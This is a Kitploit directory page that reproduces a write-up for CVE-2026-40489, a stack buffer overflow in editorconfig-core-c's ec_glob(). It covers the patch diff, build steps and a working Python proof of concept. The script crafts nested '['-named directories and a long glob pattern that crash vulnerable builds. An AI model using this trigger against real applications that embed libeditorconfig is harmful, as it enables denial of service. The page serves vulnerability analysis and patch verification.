Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-40489 — Proof-of-concept and patch analysis for CVE-2026-40489, a stack buffer overflow in editorconfig-core-c ec_glob(), with build steps and a Python crash trigger. | Kitploit
Tools/GitHubGitHub/saretawa/cve-2026-40489
Static AnalysisMemory ForensicsVulnerability AnalysisExploitationBinary Exploitation
GitHubsaretawa/cve-2026-40489

CVE-2026-40489

Proof-of-concept and patch analysis for CVE-2026-40489, a stack buffer overflow in editorconfig-core-c ec_glob(), with build steps and a Python crash trigger.

View Repository
114 days agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

NIST description about CVE:

editorconfig-core-c is an EditorConfig core library for use by plugins supporting EditorConfig parsing. Versions up to 
and including 0.12.10 have a stack-based buffer overflow in ec_glob() that allows an attacker to crash any application 
using libeditorconfig by providing a specially crafted directory structure and .editorconfig file. This is an incomplete 
fix for CVE-2023-0341. The pcre_str buffer was protected in 0.12.6 but the adjacent l_pattern[8194] stack buffer received 
no equivalent protection. On Ubuntu 24.04, FORTIFY_SOURCE converts the overflow to SIGABRT (DoS). Version 0.12.11 contains 
an updated fix.

clone both versions:

git clone https://github.com/editorconfig/editorconfig-core-c.git
cd editorconfig-core-c

# vulnerable build (parent of the fix)
git worktree add ../ec-vuln b4724e4

# patched build (the CVE-2026-40489 fix)
git worktree add ../ec-fixed 5159be8

we will diff it:

git -C editorconfig-core-c diff b4724e4 5159be8 -- src/lib/ec_glob.c

The diff:

diff --git a/src/lib/ec_glob.c b/src/lib/ec_glob.c
index 18f98c1..8b1613f 100644
--- a/src/lib/ec_glob.c
+++ b/src/lib/ec_glob.c
@@ -96,8 +96,12 @@ int ec_glob(const char *pattern, const char *string)
     _Bool                     are_braces_paired = 1;
     UT_array *                nums;     /* number ranges */
     int                       ret = 0;
+    size_t                    pattern_len = strlen(pattern);

-    strcpy(l_pattern, pattern);
+    /* Reject patterns that would overflow l_pattern in the copy below. */
+    if (pattern_len >= sizeof(l_pattern))
+        return -1;
+    memcpy(l_pattern, pattern, pattern_len + 1);
     p_pcre = pcre_str + 1;
     pcre_str_end = pcre_str + 2 * PATTERN_MAX;

old code was one line: 

strcpy(l_pattern, pattern);

copies bytes until it hits a null terminator it doesn’t care how big the destination is. If pattern is longer than 8194 bytes (2 * PATTERN_MAX), it writes past the end of l_pattern and onto the stack.

fix does three things:

  1. measures first  strlen(pattern) gets the length before copying anything
  2. checks bounds  if the length is ≥ the buffer size, it bails with -1 instead of copying. The >= (not >) matters because you need room for the null terminator too.
  3. uses memcpy instead of strcpy  since the length is already known, there’s no reason to scan the string again. memcpy copies exactly pattern_len + 1 bytes (the +1 includes the null terminator).

we will build binary and make sure it works:

rm -rf build
mkdir build && cd build
cmake .. -DBUILD_SHARED_LIBS=OFF && make

PoC:

import os
import subprocess
import shutil

base = "/tmp/dummy-config"
nested = base
while len(nested) < 2100:
    nested = os.path.join(nested, "[" * 200)

test_file = os.path.join(nested, "test.txt")
config_file = os.path.join(nested, ".editorconfig")

binary_path = "/tmp/editorconfig"

if os.path.exists(base):
    shutil.rmtree(base)

os.makedirs(nested, exist_ok=True)
open(test_file, 'w').close()

# ~2100 char path of '[' escapes to ~4200 + 4000 char glob = ~8200 > 8194
glob_pattern = "A" * 4000

with open(config_file, 'w') as f:
    f.write("root = true\n\n")
    f.write(f"[{glob_pattern}]\n")
    f.write("indent_size = 2\n")

res = subprocess.run([binary_path, test_file], capture_output=True, text=True)

if res.returncode == -6:
    print(f"[+] vulnerable sigabrt (return code: {res.returncode})")
elif res.returncode < 0:
    print(f"[+] crashed signal {-res.returncode} (return code: {res.returncode})")
else:
    print(f"[-] not vulnerable (return code: {res.returncode})")

The binary looks for .editorconfig in folder where .txt is located and reads the glob pattern from it.

you run editorconfig /tmp/dummy-config/[[[[[.../test.txt, the binary needs to match the filename against the glob pattern from .editorconfig, to do that, it builds a full pattern like: /tmp/dummy-config/\[\[\[\[.../**/AAAA.... It prepends the directory path to the glob so it can match against the full file path.

[ means something in glob syntax (it’s a character class, like [a-z]). The directory literally has [ in its name it’s not meant as a glob. So the code escapes each one with a backslash: [ → \[. That means “literal [, not a glob.” editorconfig.c does it automatically. When it reads the path to your .editorconfig file, it loops through every character and if it finds any glob-special character, it inserts a \ before it. This happens before the path ever reaches ec_glob()

Every [ in the path gains one extra character. 2100 characters become ~4200. Add the 4000-char glob on top and this string gets passed to ec_glob(), which does strcpy(l_pattern, pattern) into an 8194-byte buffer. 8203 > 8194 which means it writes past the buffer.

on modern Linux with FORTIFY_SOURCE, the runtime detects the overwrite and kills the process with SIGABRT (signal 6). Python sees this as return code -6, return code -6 means it is vulnerable, 0 or 1 = patched (the fix adds a length check before the copy and returns -1 if it’s too long)

Download Tool